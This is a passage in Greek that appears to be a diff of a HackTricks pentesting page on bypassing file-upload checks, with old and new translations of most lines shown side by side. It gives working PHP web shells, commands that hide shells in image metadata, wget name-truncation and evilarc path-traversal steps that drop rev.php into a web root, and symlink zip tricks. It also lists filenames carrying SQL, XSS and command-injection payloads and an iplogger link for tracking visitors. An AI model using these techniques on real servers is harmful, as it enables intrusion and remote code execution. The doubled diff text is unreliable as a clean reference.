6. Δοκιμάστε να τοποθετήσετε την **εκτελεστική επέκταση πριν από την έγκυρη επέκταση** και ελπίστε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για εκμετάλλευση κακοδιαμορφώσεων Apache όπου οτιδήποτε με επέκταση _**.php**_**, αλλά** όχι απαραίτητα τελειώνοντας σε .php\*\* θα εκτελέσει κώδικα):
* _π.χ. file.php.png_
7. Χρήση **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτήν την περίπτωση, ένας χαρακτήρας κολωνάκι “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματός του. Το πρότυπο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός τελείας μετά από αυτό το πρότυπο ενδέχεται επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (π.χ. “file.asp::$data.”)
8. Δοκιμάστε να σπάσετε τα όρια ονομάτων αρχείων. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php
* _π.χ.: file.php.png_
7. Χρήση **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτήν την περίπτωση, ένας χαρακτήρας διπλού παλμού ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον διακομιστή (π.χ. "file.asax:.jpg"). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματός του. Το πρότυπο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός τελείας μετά από αυτό το πρότυπο ενδέχεται επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (π.χ. “file.asp::$data.”)
8. Δοκιμάστε να σπάσετε τα όρια των ονομάτων αρχείων. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php
```
# Μέγιστο 255 bytes στο Linux
@ -78,17 +78,17 @@ AAA<--SNIP 232 A-->AAA.php.png
```
### Παράκαμψη Έλεγχου Τύπου Περιεχομένου, Μαγικού Αριθμού, Συμπίεσης & Αλλαγής Μεγέθους
* Παράκαμψη των ελέγχων **Content-Type** με τοποθέτηση της **τιμής** του **header Content-Type** σε: _image/png_, _text/plain, application/octet-stream_
1. Λίστα λέξεων Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Παράκαμψη του ελέγχου **μαγικού αριθμού** προσθέτοντας στην αρχή του αρχείου τα **bytes ενός πραγματικού εικονικού** (για να μπερδέψετε την εντολή _file_). Ή εισάγετε το shell μέσα στα **μεταδεδομένα**:\
* Παράκαμψη των ελέγχων **Τύπου Περιεχομένου** με τοποθέτηση της **τιμής** της **κεφαλίδας Content-Type** σε: _image/png_, _text/plain, application/octet-stream_
1. Λίστα λέξεων για το **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Παράκαμψη του ελέγχου του **μαγικού αριθμού** προσθέτοντας στην αρχή του αρχείου τα **bytes ενός πραγματικού εικονικού αρχείου** (για να μπερδέψετε την εντολή _file_). Ή εισάγετε το shell μέσα στα **μεταδεδομένα**:\
`exiftool -Comment="<?php echo 'Εντολή:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
Ή μπορείτε επίσης να **εισάγετε το φορτίο απευθείας** σε μια εικόνα:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Εάν προστίθεται **συμπίεση στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως η [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **κομμάτι PLTE** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει στη συμπίεση**.
* Εάν προστίθεται **συμπίεση στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως η [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
* [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Η ιστοσελίδα ενδέχεται να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις λειτουργίες PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **κομμάτι IDAT** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει στη συμπίεση**.
* Η ιστοσελίδα ενδέχεται επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις λειτουργίες PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
* [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Μια άλλη τεχνική για να δημιουργήσετε ένα φορτίο που **επιβιώνει σε μια αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη λειτουργία PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **κομμάτι tEXt** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει στη συμπίεση**.
* Μια άλλη τεχνική για να δημιουργήσετε ένα φορτίο που **επιβιώνει σε μια αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη λειτουργία PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
* [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Άλλα Κόλπα για Έλεγχο
@ -98,32 +98,32 @@ AAA<--SNIP 232 A-->AAA.php.png
* **Πιθανή διαρροή πληροφοριών**:
1. Ανεβάστε **πολλές φορές** (και την **ίδια στιγμή**) το **ίδιο αρχείο** με το **ίδιο όνομα**
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
3. Ανεβάστε ένα αρχείο με **“.”, “..”, ή “…” ως όνομά του**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον κατάλογο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον κατάλογο “/www/”.
4. Ανεβάστε ένα αρχείο που δεν μπορεί να διαγραφεί εύκολα όπως το **“…:.jpg”** στο **NTFS** (Windows).
3. Ανεβάστε ένα αρχείο με το όνομα **“.”, “..”, ή “…”**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον κατάλογο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον κατάλογο “/www/”.
4. Ανεβάστε ένα αρχείο που δεν μπορεί να διαγραφεί εύκολα όπως το **“…:.jpg”** στο **NTFS**. (Windows)
5. Ανεβάστε ένα αρχείο στα **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
6. Ανεβάστε ένα αρχείο στα **Windows** χρησιμοποιώντας **απαγορευμένα ονόματα** (**απαγορευμένα**) όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
* Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα.
6. Ανεβάστε ένα αρχείο στα **Windows** χρησιμοποιώντας **απαγορευμένα ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
* Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** αρχείο (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα.
### Ειδικά κόλπα επέκτασης
### Ειδικά κόλπα με επεκτάσεις
Εάν προσπαθείτε να ανεβάσετε αρχεία σε ένα **διακομιστή PHP**, [ρίξτε μια ματιά στο κόλπο με το **.htaccess** για να εκτελέσετε κώδικα](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Εάν προσπαθείτε να ανεβάσετε αρχεία σε έναν **διακομιστή ASP**, [ρίξτε μια ματιά στο κόλπο με το **.config** για να εκτελέσετε κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Τα αρχεία `.phar` είναι σαν τα `.jar` για τη Java, αλλά για τη PHP, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα σενάριο...)
Τα αρχεία `.phar` είναι σαν τα `.jar` για τη Java, αλλά για τη PHP, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο PHP** (εκτέλεση με PHP ή συμπερίληψη μέσα σε ένα σενάριο...)
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για το **εισαγωγή αρχείων**, έτσι, σε κάποιο σημείο, κάποιος θα μπορούσε να επιτρέψει **αυτήν την επέκταση να εκτελεστεί**.
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία PHP που χρησιμοποιούνται μόνο για το **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να επιτρέψει **αυτήν την επέκταση να εκτελεστεί**.
## **Εκμετάλλευση RCE του Jetty**
## **Εκμετάλλευση RCE στο Jetty**
Εάν μπορείτε να ανεβάσετε ένα αρχείο XML σε ένα διακομιστή Jetty μπορείτε να αποκτήσετε [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
Εάν μπορείτε να ανεβάσετε ένα αρχείο XML σε ένα διακομιστή Jetty, μπορείτε να αποκτήσετε [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)
## **Εκμετάλλευση RCE του uWSGI**
## **Εκμετάλλευση RCE στο uWSGI**
Για μια λεπτομερή εξερεύνηση αυτής της ευπαθείας ελέγξτε την αρχική έρευνα: [Εκμετάλλευση RCE του uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Για μια λεπτομερή εξερεύνηση αυτής της ευπαθείας ελέγξτε την αρχική έρευνα: [Εκμετάλλευση RCE στο uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Οι ευπάθειες Εκτέλεσης Απομακρυσμένων Εντολών (RCE) μπορούν να εκμεταλλευτούνται σε διακομιστές uWSGI εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο διαμόρφωσης `.ini`. Τα αρχεία διαμόρφωσης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, συμβολοσειρές και τελεστές. Ειδικότερα, ο τελεστής '@', χρησιμοποιούμενος ως `@(αρχείο)`, σχεδιάστηκε για να συμπεριλάβει τα περιεχόμενα ενός αρχείου. Ανάμεσα στις διάφορες υποστηριζόμενες σχήματα στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο ενός διεργασίας. Αυτό το χαρακτηριστικό μπο
Οι ευπαθότητες Εκτέλεσης Απομακρυσμένων Εντολών (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, συμβολοσειρές και τελεστές. Ειδικότερα, ο τελεστής '@', χρησιμοποιούμενος ως `@(αρχείο)`, σχεδιάστηκε για να συμπεριλάβει τα περιεχόμενα ενός αρχείου. Ανάμεσα στις διάφορες υποστηριζόμενες σχήματα στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο ενός διεργασίας. Αυτό το χαρακτηριστ
```ini
[uwsgi]
; read from a symbol
@ -143,11 +143,11 @@ characters = @(call://uwsgi_func)
```
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, ο διεργασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από κάποιο σφάλμα ή λόγω επίθεσης DoS) είτε το αρχείο πρέπει να οριστεί για αυτόματη επαναφόρτωση. Η λειτουργία αυτόματης επαναφόρτωσης, εάν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα χρονικά διαστήματα κατά την ανίχνευση αλλαγών.
Είναι κρίσιμο να κατανοήσετε την χαλαρή φύση της ανάλυσης αρχείων ρυθμίσεων του uWSGI. Ειδικότερα, το συζητούμενο payload μπορεί να ενσωματωθεί σε ένα δυαδικό αρχείο (όπως ένα εικονίδιο ή PDF), επεκτείνοντας περαιτέρω το πεδίο της δυνητικής εκμετάλλευσης.
Είναι ζωτικής σημασίας να κατανοήσετε την χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Ειδικότερα, το συζητούμενο payload μπορεί να ενσωματωθεί σε ένα δυαδικό αρχείο (όπως ένα εικονίδιο ή PDF), επεκτείνοντας περαιτέρω το πεδίο της δυνητικής εκμετάλλευσης.
## **Κόλπος Μεταφόρτωσης Αρχείου/SSRF με το wget**
Σε ορισμένες περιπτώσεις μπορείτε να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί το **`wget`** για **κατέβασμα αρχείων** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας ενδέχεται να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων βρίσκεται εντός λευκής λίστας για να διασφαλιστεί ότι θα κατεβαστούν μόνο επιτρεπόμενα αρχεία. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
Σε ορισμένες περιπτώσεις μπορεί να ανακαλύψετε ότι ένας διακομιστής χρησιμοποιεί το **`wget`** για **κατέβασμα αρχείων** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας ενδέχεται να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων βρίσκεται εντός λευκής λίστας για να διασφαλίσει ότι θα κατεβούν μόνο επιτρεπόμενα αρχεία. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** στο **Linux** είναι **255**, ωστόσο, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (όπως σε αυτό το παράδειγμα το **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα το **μετονομάσει** σε **"A"\*232+".php"**.
```bash
#Create file and HTTP server
@ -179,7 +179,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## Από τη μεταφόρτωση αρχείων σε άλλες ευπαθείες
* Ορίστε το **όνομα αρχείου** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **διέλευση διαδρομής**
* Ορίστε το **όνομα αρχείου** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **διαδρομή διέλευσης**
* Ορίστε το **όνομα αρχείου** σε `sleep(10)-- -.jpg` και μπορείτε να επιτύχετε μια **ενσωμάτωση SQL**
* Ορίστε το **όνομα αρχείου** σε `<svg onload=alert(document.domain)>` για να επιτύχετε ένα XSS
* Ορίστε το **όνομα αρχείου** σε `; sleep 10;` για να δοκιμάσετε κάποια εντολή εισαγωγής (περισσότερα [κόλπα εισαγωγής εντολών εδώ](../command-injection.md))
@ -188,11 +188,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* [**XXE σε μεταφόρτωση svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Ανοικτή ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Δοκιμάστε **διαφορετικά φορτία svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Διάσημη ευπαθεία **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* [Διάσημη ευπαθής **ImageTrick** ευπαθεία](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Αν μπορείτε να **υποδείξετε στον web server να πιάσει μια εικόνα από ένα URL** μπορείτε να δοκιμάσετε να καταχωρίσετε ένα [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποιο **δημόσιο** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και **να κλέψετε πληροφορίες από κάθε επισκέπτη**.
* [**XXE και παράκαμψη CORS** με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* [**XXE και CORS** παράκαμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* Ειδικά δημιουργημένα PDF για XSS: Η [ακόλουθη σελίδα παρουσιάζει πώς να **ενσωματώσετε δεδομένα PDF για να λάβετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDF μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελέσει αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
* Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο διακομιστής έχει κάποιο **αντιιικό**
* Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο διακομιστής έχει κάποιο **αντιιό**
* Ελέγξτε αν υπάρχει οποιοδήποτε **όριο μεγέθους** μεταφόρτωσης αρχείων
Εδώ είναι μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -225,7 +225,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
#### Σύνδεσμος συμβολικού συνδέσμου
Μεταφορτώστε ένα σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα συνδεδεμένα αρχεία:
Μεταφορτώστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα συνδεδεμένα αρχεία:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -233,16 +233,16 @@ tar -cvf test.tar symindex.txt
```
### Αποσυμπίεση σε διαφορετικούς φακέλους
Η απροσδόκητη δημιουργία αρχείων σε φακέλους κατά την αποσυμπίεση αποτελεί ένα σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύσει ενάντια στην εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων μεταφορτώσεων αρχείων, η ιεραρχική υποστήριξη συμπίεσης και οι δυνατότητες διάβασης φακέλων του μορφώματος αρχείου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να δραπετεύσουν από ασφαλείς φακέλους μεταφόρτωσης με τη χρήση της λειτουργικότητας αποσυμπίεσης της εφαρμογής που είναι στόχος.
Η απροσδόκητη δημιουργία αρχείων σε φακέλους κατά την αποσυμπίεση αποτελεί ένα σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύσει ενάντια στην εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων μεταφορτώσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διάβασης φακέλων του μορφώματος αρχείων ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να δραπετεύσουν από ασφαλείς φακέλους μεταφόρτωσης με τη χρήση της λειτουργικότητας αποσυμπίεσης της εφαρμογής που είναι στόχος.
Ένα αυτοματοποιημένο εργαλείο εκμετάλλευσης για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο [**evilarc στο GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται παρακάτω:
Ένα αυτοματοποιημένο εργαλείο εκμετάλλευσης για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο [**evilarc στο GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Επιπλέον, η **συμβολική σύνδεση με το evilarc** είναι μια επιλογή. Αν το στόχος είναι να στοχευθεί ένα αρχείο όπως το `/flag.txt`, πρέπει να δημιουργηθεί μια συμβολική σύνδεση σε αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
Επιπλέον, η **συμβολική σύνδεση με το evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχευθεί ένα αρχείο όπως το `/flag.txt`, μια συμβολική σύνδεση προς αυτό το αρχείο πρέπει να δημιουργηθεί στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
Παρακάτω υπάρχει ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία επικίνδυνου αρχείου zip:
```python
@ -266,7 +266,7 @@ create_zip()
Για περισσότερες λεπτομέρειες **ελέγξτε την αρχική δημοσίευση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Δημιουργία PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`.
1. **Δημιουργία PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνιούνται μέσω της μεταβλητής `$_REQUEST`.
```php
<?php
@ -275,7 +275,7 @@ $cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συγκεντρώνεται ένα αρχείο zip που περιέχει αυτά τα αρχεία.
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα αρχείο zip που περιέχει αυτά τα αρχεία.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
@ -308,11 +308,11 @@ pop graphic-context
## Αρχεία Πολύγλωττα
Τα πολύγλωττα αρχεία λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Τα αρχεία πολύγλωττα λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι. Συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Η βασική χρησιμότητα των πολύγλωττων αρχείων βρίσκεται στη δυνατότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την επιτροπή μόνο συγκεκριμένων τύπων αρχείων για μεταφόρτωση - όπως JPEG, GIF ή DOC - για να μειώσει τον κίνδυνο που αποτελούν πιθανώς επιβλαβείς μορφές (π.χ. JS, PHP ή Phar αρχεία). Ωστόσο, ένα πολύγλωτο, με το να συμμορφώνεται με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει αυτούς τους περιορισμούς.
Η βασική χρησιμότητα των αρχείων πολύγλωττων βρίσκεται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την επιτροπή μόνο συγκεκριμένων τύπων αρχείων για μεταφόρτωση - όπως JPEG, GIF ή DOC - για να μειώσει τον κίνδυνο που αποτελούν πιθανώς επιβλαβείς μορφές (π.χ. JS, PHP ή Phar αρχεία). Ωστόσο, ένα πολύγλωττο, με τη συμμόρφωσή του στα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτούς τους περιορισμούς.
Παρά την προσαρμοστικότητά τους, τα πολύγλωττα αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολύγλωτο ενδέχεται να ενσωματώνει ταυτόχρονα ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της μεταφόρτωσής του ενδέχεται να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολύγλωτου ενδέχεται να μην είναι αρκετή για να εξασφαλίσει τη μεταφόρτωσή του.
